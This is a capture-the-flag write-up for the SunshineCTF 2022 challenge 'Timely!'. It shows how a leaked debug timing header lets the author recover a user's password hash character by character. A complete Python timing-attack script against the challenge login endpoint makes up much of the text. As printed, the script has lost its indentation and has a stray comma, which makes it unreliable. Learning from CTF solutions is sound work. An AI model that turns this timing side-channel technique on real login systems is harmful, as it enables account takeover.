Timely!
Challenge
I’ve been on a real City Pop binge and thought I would share one of my favorite albums.
Discord Comments: For Timely! No off the shelf tools such as SqlMap should be necessary. If possible please refrain from using these tools as they cause unneeded load on the web server. As I realize the above might be confusing. It does require smart bruteforcing, however it does not require the use of SqlMap or dumb bruteforcing tools.
https://timely.web.2022.sunshinectf.org/
Enumeration
The provided link leads to the following website.
The login page authenticates against the /login endpoint by POSTing the username and the SHA1 hash of the password. Logging in with an arbitrary username/password combo returns the error:
Error: You’re not a true fan :(
The website also contains a /robots.txt page revealing a /dev route which further revels /dev/users and /dev/hostname. The /dev/users route returns the following list:
ahrifan111 (Disabled)
anri (Active)
admin (Disabled)
develop (Disabled)
Attempting to login with the anri username returns a different error message.
Brute Force
Considering the extra discord hint, a small password list was generated with common typos (n for h as per the username typo). Words associated with the band listed are also included. During initial brute forcing, it was noted that a non-standard HTTP header (debug_lag_fix) was included in concurrent responses.
Since the SHA1 hash is passed from the client, it takes a potentially infinite spray space to a finite (albeit large) one, is probably intended as part of the challenge. However, 16^40 possible hashes is still beyond brute forcing.
The name of the challenge and the fact that timing data is sent during brute force, 16 hashes containining a single hex character is sent. It’s noted that one request is roughly +100ns more than the other.
Using the character in the nth position with the +100ns delay, the hash can be reconstructed one character at a time.
Solution
A automated script is written that generates 16 potential hashes to identify the hex value in each position. This process is repeated for each of the 40 positions.
import requests
#prep for requests
requests.packages.urllib3.disable_warnings()
url = 'https://timely.web.2022.sunshinectf.org/login'
headers = {'Content-Type':'application/json'}
#dict to collect ns timings per cycle
hashChar = {'a':'','b':'','c':'','d':'','e':'','f':'', \
,'0':'','1':'','2':'','3':'','4':'','5':'','6':'',\
'7':'','8':'','9':''}
#Tolerance for ns timing
nsTol = 50
hashLen = 40
flag = ''
realHash = ''
hashGuesses = []
#make init request to "trigger" lag header
r = requests.Session()
r.post(url, headers=headers, json={"username":"anri", "password":"testing"}, verify=False)
#loop for the solution
while(len(realHash) < hashLen):
#generate guess hashes:
for c in hashChar.keys():
hashGuesses.append(realHash+c*(hashLen-len(realHash)))
#run a guess cycle
for hashGuess in hashGuesses:
data = {"username":"anri", "password":hashGuess}
r.post(url, headers=headers, json=data, verify=False)
req = r.post(url, headers=headers, json=data, verify=False)
if(req.status_code == 200):
flag = req.text
print('[+] Flag Found! %s' % req.text)
else:
#populate timings into dictionary
key = hashGuess[len(realHash)]
hashChar[key] = int(req.headers['Debug-Lag-Fix'].replace('ns',''))
#identify next hashChar via timing and append to realHash
for key,value in hashChar.items():
if (value > (len(realHash)*100+nsTol)):
print('[+] %d hash character found: %s' % (len(realHash)+1, key))
realHash = realHash + key
#reset guess list
hashGuesses=[]
Running the script, the flag is obtained: